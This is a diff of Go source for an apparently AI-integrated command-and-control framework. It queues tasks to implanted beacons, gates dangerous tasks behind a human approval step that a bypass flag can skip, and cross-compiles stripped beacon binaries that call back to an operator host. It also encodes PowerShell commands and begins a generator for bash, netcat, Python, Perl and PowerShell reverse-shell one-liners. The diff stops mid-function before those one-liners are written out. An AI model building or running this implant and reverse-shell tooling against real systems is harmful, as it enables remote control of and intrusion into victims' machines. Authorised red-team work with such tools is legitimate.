||||
listenerCfg := m.getListenerConfig(session.ListenerID)
|
||||
if listenerCfg != nil {
|
||||
for _, pattern := range listenerCfg.CommandDenyRegex {
|
||||
re, err := regexp.Compile(pattern)
|
||||
if err != nil {
|
||||
m.logger.Warn("invalid command_deny_regex", zap.String("pattern", pattern), zap.Error(err))
|
||||
continue
|
||||
}
|
||||
if re.MatchString(cmd) {
|
||||
return nil, &CommonError{
|
||||
Code: "command_denied",
|
||||
Message: fmt.Sprintf("命令被 OPSEC 规则拒绝 (匹配: %s)", pattern),
|
||||
HTTP: 403,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// OPSEC: max_concurrent_tasks enforcement
|
||||
listenerCfg := m.getListenerConfig(session.ListenerID)
|
||||
if listenerCfg != nil && listenerCfg.MaxConcurrentTasks > 0 {
|
||||
activeTasks, _ := m.db.ListC2Tasks(database.ListC2TasksFilter{
|
||||
SessionID: in.SessionID,
|
||||
Status: string(TaskQueued),
|
||||
})
|
||||
sentTasks, _ := m.db.ListC2Tasks(database.ListC2TasksFilter{
|
||||
SessionID: in.SessionID,
|
||||
Status: string(TaskSent),
|
||||
})
|
||||
concurrent := len(activeTasks) + len(sentTasks)
|
||||
if concurrent >= listenerCfg.MaxConcurrentTasks {
|
||||
return nil, &CommonError{
|
||||
Code: "concurrent_limit",
|
||||
Message: fmt.Sprintf("会话已有 %d 个排队/执行中的任务,超过并发上限 %d", concurrent, listenerCfg.MaxConcurrentTasks),
|
||||
HTTP: 429,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
taskID := "t_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
|
||||
task := &database.C2Task{
|
||||
ID: taskID,
|
||||
SessionID: in.SessionID,
|
||||
TaskType: string(in.TaskType),
|
||||
Payload: in.Payload,
|
||||
Status: string(TaskQueued),
|
||||
Source: strOr(in.Source, "manual"),
|
||||
ConversationID: in.ConversationID,
|
||||
CreatedAt: time.Now(),
|
||||
}
|
||||
|
||||
// HITL 检查:仅当注入的 gate 认为当前会话应对统一 MCP 工具 c2_task 做人机协同时才走桥(关闭人机协同时与其它工具一致,直接入队)。
|
||||
if IsDangerousTaskType(in.TaskType) && !in.BypassHITL {
|
||||
m.mu.RLock()
|
||||
bridge := m.hitlBridge
|
||||
gate := m.hitlDangerousGate
|
||||
m.mu.RUnlock()
|
||||
convID := strings.TrimSpace(in.ConversationID)
|
||||
useBridge := bridge != nil && gate != nil && gate(convID, MCPToolC2Task)
|
||||
if useBridge {
|
||||
task.ApprovalStatus = "pending"
|
||||
if err := m.db.CreateC2Task(task); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
m.publishEvent("warn", "task", in.SessionID, taskID, fmt.Sprintf("危险任务待审批: %s", in.TaskType), map[string]interface{}{
|
||||
"task_id": taskID,
|
||||
"task_type": in.TaskType,
|
||||
})
|
||||
payloadBytes, _ := json.Marshal(in.Payload)
|
||||
ctx := HITLUserContext(in.UserCtx)
|
||||
if ctx == nil {
|
||||
ctx = context.Background()
|
||||
}
|
||||
go func() {
|
||||
err := bridge.RequestApproval(ctx, HITLApprovalRequest{
|
||||
TaskID: taskID,
|
||||
SessionID: in.SessionID,
|
||||
TaskType: string(in.TaskType),
|
||||
PayloadJSON: string(payloadBytes),
|
||||
ConversationID: in.ConversationID,
|
||||
Source: task.Source,
|
||||
Reason: fmt.Sprintf("C2 危险任务 %s", in.TaskType),
|
||||
})
|
||||
if err != nil {
|
||||
rejected := "rejected"
|
||||
failed := string(TaskFailed)
|
||||
errMsg := "HITL 拒绝: " + err.Error()
|
||||
_ = m.db.UpdateC2Task(taskID, database.C2TaskUpdate{
|
||||
ApprovalStatus: &rejected,
|
||||
Status: &failed,
|
||||
Error: &errMsg,
|
||||
})
|
||||
m.publishEvent("warn", "task", in.SessionID, taskID, errMsg, nil)
|
||||
return
|
||||
}
|
||||
approved := "approved"
|
||||
_ = m.db.UpdateC2Task(taskID, database.C2TaskUpdate{ApprovalStatus: &approved})
|
||||
m.publishEvent("info", "task", in.SessionID, taskID, "危险任务已批准", nil)
|
||||
}()
|
||||
return task, nil
|
||||
}
|
||||
// 未接桥或会话未开启人机协同 / 工具在白名单:直接入队
|
||||
task.ApprovalStatus = "approved"
|
||||
}
|
||||
|
||||
if err := m.db.CreateC2Task(task); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
m.publishEvent("info", "task", in.SessionID, taskID, fmt.Sprintf("任务已入队: %s", in.TaskType), map[string]interface{}{
|
||||
"task_id": taskID,
|
||||
"task_type": in.TaskType,
|
||||
"source": task.Source,
|
||||
})
|
||||
return task, nil
|
||||
}
|
||||
|
||||
// CancelTask 取消队列中的任务(已 sent/running 的暂不支持回滚)
|
||||
func (m *Manager) CancelTask(taskID string) error {
|
||||
t, err := m.db.GetC2Task(taskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if t == nil {
|
||||
return ErrTaskNotFound
|
||||
}
|
||||
if t.Status != string(TaskQueued) && t.Status != string(TaskSent) {
|
||||
return &CommonError{Code: "task_running", Message: "任务已在执行,无法取消", HTTP: 409}
|
||||
}
|
||||
cancelled := string(TaskCancelled)
|
||||
now := time.Now()
|
||||
if err := m.db.UpdateC2Task(taskID, database.C2TaskUpdate{Status: &cancelled, CompletedAt: &now}); err != nil {
|
||||
return err
|
||||
}
|
||||
m.publishEvent("info", "task", t.SessionID, taskID, "任务已取消", nil)
|
||||
return nil
|
||||
}
|
||||
|
||||
// PopTasksForBeacon beacon check_in 后调用:取该会话所有 queued+approved 的任务,
|
||||
// 内部已置为 sent;返回 TaskEnvelope,便于 listener 直接编码下发。
|
||||
func (m *Manager) PopTasksForBeacon(sessionID string, limit int) ([]TaskEnvelope, error) {
|
||||
tasks, err := m.db.PopQueuedC2Tasks(sessionID, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out := make([]TaskEnvelope, 0, len(tasks))
|
||||
for _, t := range tasks {
|
||||
out = append(out, TaskEnvelope{TaskID: t.ID, TaskType: t.TaskType, Payload: t.Payload})
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// IngestTaskResult beacon 回传任务结果的统一入口
|
||||
func (m *Manager) IngestTaskResult(report TaskResultReport) error {
|
||||
if strings.TrimSpace(report.TaskID) == "" {
|
||||
return ErrInvalidInput
|
||||
}
|
||||
t, err := m.db.GetC2Task(report.TaskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if t == nil {
|
||||
return ErrTaskNotFound
|
||||
}
|
||||
|
||||
startedAt := time.Unix(0, report.StartedAt*int64(time.Millisecond))
|
||||
endedAt := time.Unix(0, report.EndedAt*int64(time.Millisecond))
|
||||
if report.StartedAt == 0 {
|
||||
startedAt = time.Now()
|
||||
}
|
||||
if report.EndedAt == 0 {
|
||||
endedAt = time.Now()
|
||||
}
|
||||
|
||||
status := string(TaskSuccess)
|
||||
if !report.Success {
|
||||
status = string(TaskFailed)
|
||||
}
|
||||
duration := endedAt.Sub(startedAt).Milliseconds()
|
||||
upd := database.C2TaskUpdate{
|
||||
Status: &status,
|
||||
ResultText: &report.Output,
|
||||
Error: &report.Error,
|
||||
StartedAt: &startedAt,
|
||||
CompletedAt: &endedAt,
|
||||
DurationMS: &duration,
|
||||
}
|
||||
|
||||
// blob(如截图)落盘
|
||||
if len(report.BlobBase64) > 0 {
|
||||
blobPath, err := m.saveResultBlob(t.ID, report.BlobBase64, report.BlobSuffix)
|
||||
if err == nil {
|
||||
upd.ResultBlobPath = &blobPath
|
||||
} else {
|
||||
m.logger.Warn("结果 blob 落盘失败", zap.Error(err), zap.String("task_id", t.ID))
|
||||
}
|
||||
}
|
||||
|
||||
if err := m.db.UpdateC2Task(t.ID, upd); err != nil {
|
||||
return err
|
||||
}
|
||||
t.Status = status
|
||||
t.ResultText = report.Output
|
||||
t.Error = report.Error
|
||||
|
||||
level := "info"
|
||||
msg := fmt.Sprintf("任务完成: %s", t.TaskType)
|
||||
if !report.Success {
|
||||
level = "warn"
|
||||
msg = fmt.Sprintf("任务失败: %s (%s)", t.TaskType, report.Error)
|
||||
}
|
||||
m.publishEvent(level, "task", t.SessionID, t.ID, msg, map[string]interface{}{
|
||||
"task_id": t.ID,
|
||||
"task_type": t.TaskType,
|
||||
"duration": duration,
|
||||
})
|
||||
|
||||
m.mu.RLock()
|
||||
hook := m.hooks.OnTaskCompleted
|
||||
m.mu.RUnlock()
|
||||
if hook != nil {
|
||||
go hook(t, t.SessionID)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Manager) saveResultBlob(taskID, b64Content, suffix string) (string, error) {
|
||||
suffix = strings.TrimSpace(suffix)
|
||||
if suffix == "" {
|
||||
suffix = ".bin"
|
||||
}
|
||||
if !strings.HasPrefix(suffix, ".") {
|
||||
suffix = "." + suffix
|
||||
}
|
||||
dir := filepath.Join(m.storageDir, "results")
|
||||
if err := osMkdirAll(dir, 0o755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
path := filepath.Join(dir, taskID+suffix)
|
||||
data, err := base64Decode(b64Content)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := osWriteFile(path, data, 0o644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return path, nil
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// 事件总线辅助
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
// publishEvent 同步写 c2_events 表 + 投放到内存事件总线
|
||||
func (m *Manager) publishEvent(level, category, sessionID, taskID, message string, data map[string]interface{}) {
|
||||
id := "e_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
|
||||
now := time.Now()
|
||||
e := &database.C2Event{
|
||||
ID: id,
|
||||
Level: level,
|
||||
Category: category,
|
||||
SessionID: sessionID,
|
||||
TaskID: taskID,
|
||||
Message: message,
|
||||
Data: data,
|
||||
CreatedAt: now,
|
||||
}
|
||||
if err := m.db.AppendC2Event(e); err != nil {
|
||||
m.logger.Warn("写 C2 事件失败", zap.Error(err), zap.String("category", category))
|
||||
}
|
||||
m.bus.Publish(&Event{
|
||||
ID: id,
|
||||
Level: level,
|
||||
Category: category,
|
||||
SessionID: sessionID,
|
||||
TaskID: taskID,
|
||||
Message: message,
|
||||
Data: data,
|
||||
CreatedAt: now,
|
||||
})
|
||||
}
|
||||
|
||||
// PublishCustomEvent 给外部组件(HITL 桥 / handler)写自定义事件用
|
||||
func (m *Manager) PublishCustomEvent(level, category, sessionID, taskID, message string, data map[string]interface{}) {
|
||||
m.publishEvent(level, category, sessionID, taskID, message, data)
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// 工具函数
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
func strOr(s, def string) string {
|
||||
if strings.TrimSpace(s) == "" {
|
||||
return def
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// getListenerConfig loads and parses the listener's config JSON from DB.
|
||||
func (m *Manager) getListenerConfig(listenerID string) *ListenerConfig {
|
||||
listener, err := m.db.GetC2Listener(listenerID)
|
||||
if err != nil || listener == nil {
|
||||
return nil
|
||||
}
|
||||
cfg := &ListenerConfig{}
|
||||
if listener.ConfigJSON != "" && listener.ConfigJSON != "{}" {
|
||||
_ = json.Unmarshal([]byte(listener.ConfigJSON), cfg)
|
||||
}
|
||||
return cfg
|
||||
}
|
||||
|
||||
// GetProfile loads a C2Profile from DB by ID.
|
||||
func (m *Manager) GetProfile(profileID string) (*database.C2Profile, error) {
|
||||
if strings.TrimSpace(profileID) == "" {
|
||||
return nil, nil
|
||||
}
|
||||
return m.db.GetC2Profile(profileID)
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// 回归:StartListener 返回的 rec 被 handler 脱敏清空 ImplantToken 后,运行中的 HTTP listener 仍能鉴权。
|
||||
func TestStartListener_ImplantTokenSurvivesHandlerRedaction(t *testing.T) {
|
||||
tmp := t.TempDir()
|
||||
db, err := database.NewDB(filepath.Join(tmp, "c2.sqlite"), zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = db.Close() })
|
||||
|
||||
lnPick, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
port := lnPick.Addr().(*net.TCPAddr).Port
|
||||
_ = lnPick.Close()
|
||||
|
||||
mgr := NewManager(db, zap.NewNop(), tmp)
|
||||
mgr.Registry().Register(string(ListenerTypeHTTPBeacon), NewHTTPBeaconListener)
|
||||
rec, err := mgr.CreateListener(CreateListenerInput{
|
||||
Name: "t",
|
||||
Type: string(ListenerTypeHTTPBeacon),
|
||||
BindHost: "127.0.0.1",
|
||||
BindPort: port,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
token := rec.ImplantToken
|
||||
|
||||
rec, err = mgr.StartListener(rec.ID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
// 模拟 internal/handler/c2.go StartListener 在 JSON 响应前的脱敏
|
||||
rec.ImplantToken = ""
|
||||
rec.EncryptionKey = ""
|
||||
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
|
||||
body := `{"hostname":"n","username":"u","os":"Linux","arch":"amd64","internal_ip":"10.0.0.1","pid":42}`
|
||||
req, _ := http.NewRequest(http.MethodPost, "http://127.0.0.1:"+strconv.Itoa(port)+"/check_in", strings.NewReader(body))
|
||||
req.Header.Set("X-Implant-Token", token)
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
b, _ := io.ReadAll(resp.Body)
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", resp.StatusCode, b)
|
||||
}
|
||||
if !strings.Contains(string(b), "session_id") {
|
||||
t.Fatalf("expected session_id in body: %s", b)
|
||||
}
|
||||
_ = mgr.StopListener(rec.ID)
|
||||
}
|
||||
@@ -0,0 +1,308 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"strconv"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"text/template"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// PayloadBuilderInput 构建 beacon 的输入参数
|
||||
type PayloadBuilderInput struct {
|
||||
ListenerID string // l_xxx
|
||||
OS string // linux|windows|darwin
|
||||
Arch string // amd64|arm64|386
|
||||
SleepSeconds int
|
||||
JitterPercent int
|
||||
OutputName string // custom output filename (without extension); defaults to "beacon_<os>_<arch>"
|
||||
// Host 非空时作为植入端回连地址(覆盖监听器的 bind_host / 0.0.0.0 自动探测)
|
||||
Host string
|
||||
}
|
||||
|
||||
// PayloadBuilder 负责从模板生成并交叉编译 beacon 二进制
|
||||
type PayloadBuilder struct {
|
||||
manager *Manager
|
||||
logger *zap.Logger
|
||||
tmplDir string // 模板目录,如 internal/c2/payload_templates
|
||||
outputDir string // 输出目录,如 tmp/c2/payloads
|
||||
}
|
||||
|
||||
// NewPayloadBuilder 创建构建器
|
||||
func NewPayloadBuilder(manager *Manager, logger *zap.Logger, tmplDir, outputDir string) *PayloadBuilder {
|
||||
if tmplDir == "" {
|
||||
tmplDir = "internal/c2/payload_templates"
|
||||
}
|
||||
if outputDir == "" {
|
||||
outputDir = "tmp/c2/payloads"
|
||||
}
|
||||
return &PayloadBuilder{
|
||||
manager: manager,
|
||||
logger: logger,
|
||||
tmplDir: tmplDir,
|
||||
outputDir: outputDir,
|
||||
}
|
||||
}
|
||||
|
||||
// BuildResult 构建结果
|
||||
type BuildResult struct {
|
||||
PayloadID string `json:"payload_id"`
|
||||
ListenerID string `json:"listener_id"`
|
||||
OutputPath string `json:"output_path"`
|
||||
DownloadPath string `json:"download_path"` // 磁盘上的绝对路径
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
SizeBytes int64 `json:"size_bytes"`
|
||||
}
|
||||
|
||||
// BuildBeacon 交叉编译生成 beacon 二进制
|
||||
func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, error) {
|
||||
listener, err := b.manager.DB().GetC2Listener(in.ListenerID)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("get listener: %w", err)
|
||||
}
|
||||
if listener == nil {
|
||||
return nil, ErrListenerNotFound
|
||||
}
|
||||
|
||||
lt := strings.ToLower(listener.Type)
|
||||
|
||||
cfg := &ListenerConfig{}
|
||||
if listener.ConfigJSON != "" {
|
||||
_ = parseJSON(listener.ConfigJSON, cfg)
|
||||
}
|
||||
cfg.ApplyDefaults()
|
||||
|
||||
// 确定目标架构
|
||||
goos := strings.ToLower(in.OS)
|
||||
goarch := strings.ToLower(in.Arch)
|
||||
if goos == "" {
|
||||
goos = "linux"
|
||||
}
|
||||
if goarch == "" {
|
||||
goarch = "amd64"
|
||||
}
|
||||
|
||||
// 读取模板
|
||||
tmplPath := filepath.Join(b.tmplDir, "beacon.go.tmpl")
|
||||
tmplData, err := os.ReadFile(tmplPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read template: %w", err)
|
||||
}
|
||||
|
||||
// 模板参数:请求 Host > 监听器 callback_host > bind 推导(见 ResolveBeaconDialHost)
|
||||
host := ResolveBeaconDialHost(listener, in.Host, b.logger, listener.ID)
|
||||
serverURL := fmt.Sprintf("%s://%s:%d",
|
||||
listenerTypeToScheme(listener.Type),
|
||||
host,
|
||||
listener.BindPort,
|
||||
)
|
||||
|
||||
transport := "http"
|
||||
tcpDialAddr := ""
|
||||
transportMeta := "http_beacon"
|
||||
switch lt {
|
||||
case "tcp_reverse":
|
||||
transport = "tcp"
|
||||
tcpDialAddr = net.JoinHostPort(host, strconv.Itoa(listener.BindPort))
|
||||
transportMeta = "tcp_beacon"
|
||||
case "https_beacon":
|
||||
transportMeta = "https_beacon"
|
||||
case "websocket":
|
||||
transportMeta = "websocket"
|
||||
}
|
||||
|
||||
data := map[string]string{
|
||||
"Transport": transport,
|
||||
"TCPDialAddr": tcpDialAddr,
|
||||
"TransportMetadata": transportMeta,
|
||||
"ServerURL": serverURL,
|
||||
"ImplantToken": listener.ImplantToken,
|
||||
"AESKeyB64": listener.EncryptionKey,
|
||||
"SleepSeconds": fmt.Sprintf("%d", firstPositive(in.SleepSeconds, cfg.DefaultSleep, 5)),
|
||||
"JitterPercent": fmt.Sprintf("%d", clamp(in.JitterPercent, 0, 100)),
|
||||
"CheckInPath": cfg.BeaconCheckInPath,
|
||||
"TasksPath": cfg.BeaconTasksPath,
|
||||
"ResultPath": cfg.BeaconResultPath,
|
||||
"UploadPath": cfg.BeaconUploadPath,
|
||||
"FilePath": cfg.BeaconFilePath,
|
||||
"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
|
||||
}
|
||||
|
||||
// 执行模板
|
||||
tmpl, err := template.New("beacon").Parse(string(tmplData))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parse template: %w", err)
|
||||
}
|
||||
|
||||
// 创建工作目录
|
||||
workDir := filepath.Join(b.outputDir, "build-"+uuid.New().String()[:8])
|
||||
if err := os.MkdirAll(workDir, 0755); err != nil {
|
||||
return nil, fmt.Errorf("mkdir: %w", err)
|
||||
}
|
||||
defer os.RemoveAll(workDir) // 清理
|
||||
|
||||
srcPath := filepath.Join(workDir, "main.go")
|
||||
f, err := os.Create(srcPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("create source: %w", err)
|
||||
}
|
||||
if err := tmpl.Execute(f, data); err != nil {
|
||||
f.Close()
|
||||
return nil, fmt.Errorf("execute template: %w", err)
|
||||
}
|
||||
f.Close()
|
||||
|
||||
// 交叉编译
|
||||
binName := strings.TrimSpace(in.OutputName)
|
||||
if binName == "" {
|
||||
binName = fmt.Sprintf("beacon_%s_%s", goos, goarch)
|
||||
}
|
||||
if goos == "windows" && !strings.HasSuffix(binName, ".exe") {
|
||||
binName += ".exe"
|
||||
}
|
||||
binPath := filepath.Join(b.outputDir, binName)
|
||||
|
||||
if err := os.MkdirAll(b.outputDir, 0755); err != nil {
|
||||
return nil, fmt.Errorf("mkdir output: %w", err)
|
||||
}
|
||||
|
||||
absSrcPath, err := filepath.Abs(srcPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abs source path: %w", err)
|
||||
}
|
||||
absBinPath, err := filepath.Abs(binPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abs output path: %w", err)
|
||||
}
|
||||
cmd := exec.Command("go", "build", "-ldflags", "-s -w -buildid=", "-trimpath", "-o", absBinPath, absSrcPath)
|
||||
cmd.Env = append(os.Environ(),
|
||||
"GOOS="+goos,
|
||||
"GOARCH="+goarch,
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
cmd.Dir = workDir
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
b.logger.Error("beacon build failed", zap.String("output", string(output)), zap.Error(err))
|
||||
return nil, fmt.Errorf("build failed: %w (output: %s)", err, string(output))
|
||||
}
|
||||
|
||||
// 获取文件大小
|
||||
info, err := os.Stat(binPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("stat output: %w", err)
|
||||
}
|
||||
|
||||
payloadID := "p_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
|
||||
return &BuildResult{
|
||||
PayloadID: payloadID,
|
||||
ListenerID: listener.ID,
|
||||
OutputPath: absBinPath,
|
||||
DownloadPath: absBinPath,
|
||||
OS: goos,
|
||||
Arch: goarch,
|
||||
SizeBytes: info.Size(),
|
||||
}, nil
|
||||
}
|
||||
|
||||
func listenerTypeToScheme(t string) string {
|
||||
switch strings.ToLower(t) {
|
||||
case "https_beacon":
|
||||
return "https"
|
||||
case "websocket":
|
||||
return "ws"
|
||||
case "http_beacon":
|
||||
return "http"
|
||||
default:
|
||||
return "http"
|
||||
}
|
||||
}
|
||||
|
||||
func firstPositive(vals ...int) int {
|
||||
for _, v := range vals {
|
||||
if v > 0 {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return 1
|
||||
}
|
||||
|
||||
func clamp(v, min, max int) int {
|
||||
if v < min {
|
||||
return min
|
||||
}
|
||||
if v > max {
|
||||
return max
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
// GetPayloadStoragePath 返回 payload 存储目录的绝对路径
|
||||
func (b *PayloadBuilder) GetPayloadStoragePath() string {
|
||||
abs, _ := filepath.Abs(b.outputDir)
|
||||
return abs
|
||||
}
|
||||
|
||||
// GetSupportedOSArch 返回支持的操作系统和架构列表
|
||||
func GetSupportedOSArch() map[string][]string {
|
||||
return map[string][]string{
|
||||
"linux": {"amd64", "arm64", "386", "arm"},
|
||||
"windows": {"amd64", "arm64", "386"},
|
||||
"darwin": {"amd64", "arm64"},
|
||||
}
|
||||
}
|
||||
|
||||
// ValidateOSArch 验证 OS/Arch 组合是否可编译
|
||||
func ValidateOSArch(os, arch string) bool {
|
||||
supported := GetSupportedOSArch()
|
||||
arches, ok := supported[strings.ToLower(os)]
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
for _, a := range arches {
|
||||
if a == strings.ToLower(arch) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// detectExternalIP returns the first non-loopback IPv4 address, or "" if none found.
|
||||
func detectExternalIP() string {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
for _, iface := range ifaces {
|
||||
if iface.Flags&net.FlagLoopback != 0 || iface.Flags&net.FlagUp == 0 {
|
||||
continue
|
||||
}
|
||||
addrs, err := iface.Addrs()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, addr := range addrs {
|
||||
ipnet, ok := addr.(*net.IPNet)
|
||||
if !ok || ipnet.IP.To4() == nil {
|
||||
continue
|
||||
}
|
||||
return ipnet.IP.String()
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func parseJSON(s string, v interface{}) error {
|
||||
if strings.TrimSpace(s) == "" || s == "{}" {
|
||||
return nil
|
||||
}
|
||||
return json.Unmarshal([]byte(s), v)
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
)
|
||||
|
||||
// b64StdEncode 用标准 base64 编码字节
|
||||
func b64StdEncode(s string) string {
|
||||
return base64.StdEncoding.EncodeToString([]byte(s))
|
||||
}
|
||||
|
||||
// utf16LEBase64 把字符串转 UTF-16LE 后再 base64,用于 PowerShell -EncodedCommand
|
||||
// (Windows PowerShell 接受这种格式,避免命令行特殊字符引起转义错误)
|
||||
func utf16LEBase64(s string) string {
|
||||
runes := []rune(s)
|
||||
buf := make([]byte, 0, len(runes)*2)
|
||||
for _, r := range runes {
|
||||
// 注意:>0xFFFF 的字符需要代理对,但 PowerShell 命令通常都在 BMP 内
|
||||
var enc [2]byte
|
||||
binary.LittleEndian.PutUint16(enc[:], uint16(r))
|
||||
buf = append(buf, enc[:]...)
|
||||
}
|
||||
return base64.StdEncoding.EncodeToString(buf)
|
||||
}
|
||||
@@ -0,0 +1,190 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// OnelinerKind 单行 payload 的语言/形式
|
||||
type OnelinerKind string
|
||||
|
||||
const (
|
||||
OnelinerBash OnelinerKind = "bash" // bash 反弹(TCP reverse listener)
|
||||
OnelinerNc OnelinerKind = "nc" // netcat 反弹
|
||||
OnelinerNcMkfifo OnelinerKind = "nc_mkfifo" // 通过 mkfifo 双向(部分 nc 不支持 -e)
|
||||
OnelinerPython OnelinerKind = "python" // python socket 反弹
|
||||
OnelinerPerl OnelinerKind = "perl" // perl 反弹
|
||||
OnelinerPowerShell OnelinerKind = "powershell" // PowerShell TCP 反弹(IEX 风格)
|
||||
OnelinerCurl OnelinerKind = "curl_beacon" // 用 curl 周期性轮询 HTTP beacon(无需二进制)
|
||||
)
|
||||
|
||||
// AllOnelinerKinds 所有支持的 oneliner 类型
|
||||
func AllOnelinerKinds() []OnelinerKind {
|
||||
return []OnelinerKind{
|
||||
OnelinerBash, OnelinerNc, OnelinerNcMkfifo,
|
||||
OnelinerPython, OnelinerPerl,
|
||||
OnelinerPowerShell, OnelinerCurl,
|
||||
}
|
||||
}
|
||||
|
||||
// tcpOnelinerKinds 仅支持 tcp_reverse 监听器的裸 TCP 反弹类型
|
||||
var tcpOnelinerKinds = map[OnelinerKind]bool{
|
||||
OnelinerBash: true,
|
||||
OnelinerNc: true,
|
||||
OnelinerNcMkfifo: true,
|
||||
OnelinerPython: true,
|
||||
OnelinerPerl: true,
|
||||
OnelinerPowerShell: true,
|
||||
}
|
||||
|
||||
// httpOnelinerKinds 支持 http_beacon / https_beacon 监听器的类型
|
||||
var httpOnelinerKinds = map[OnelinerKind]bool{
|
||||
OnelinerCurl: true,
|
||||
}
|
||||
|
||||
// OnelinerKindsForListener 根据监听器类型返回兼容的 oneliner 类型列表
|
||||
func OnelinerKindsForListener(listenerType string) []OnelinerKind {
|
||||
switch ListenerType(listenerType) {
|
||||
case ListenerTypeTCPReverse:
|
||||
return []OnelinerKind{
|
||||
OnelinerBash, OnelinerNc, OnelinerNcMkfifo,
|
||||
OnelinerPython, OnelinerPerl, OnelinerPowerShell,
|
||||
}
|
||||
case ListenerTypeHTTPBeacon, ListenerTypeHTTPSBeacon, ListenerTypeWebSocket:
|
||||
return []OnelinerKind{OnelinerCurl}
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// IsOnelinerCompatible 检查 oneliner 类型是否与监听器类型兼容
|
||||
func IsOnelinerCompatible(listenerType string, kind OnelinerKind) bool {
|
||||
switch ListenerType(listenerType) {
|
||||
case ListenerTypeTCPReverse:
|
||||
return tcpOnelinerKinds[kind]
|
||||
case ListenerTypeHTTPBeacon, ListenerTypeHTTPSBeacon, ListenerTypeWebSocket:
|
||||
return httpOnelinerKinds[kind]
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// OnelinerInput 生成 oneliner 的入参
|
||||
type OnelinerInput struct {
|
||||
Kind OnelinerKind
|
||||
Host string // 攻击机回连地址(IP/域名)
|
||||
Port int // 监听端口
|
||||
HTTPBaseURL string // HTTPS Beacon 时使用,如 https://x.com
|
||||
ImplantToken string // HTTP Beacon 鉴权 token
|
||||
}
|
||||
|
||||
// GenerateOneliner 生成单行 payload。
|
||||
// 设计要点:
|
||||
// - 不依赖目标机预装的可执行(除该 oneliner 关键的 bash/python/perl 等);
|
||||
// - 不引入引号嵌套陷阱:使用 base64/url 编码避免 shell 转义错误;
|
||||
// - 同时返回执行示例,便于 AI 在对话里直接展示给操作员。
|
||||
func GenerateOneliner(in OnelinerInput) (string, error) {
|
||||
host := strings.TrimSpace(in.Host)
|
||||
if host == "" {
|
||||
return "", fmt.Errorf("host is required")
|
||||
}
|
||||
switch in.Kind {
|
||||
case OnelinerBash:
|
||||
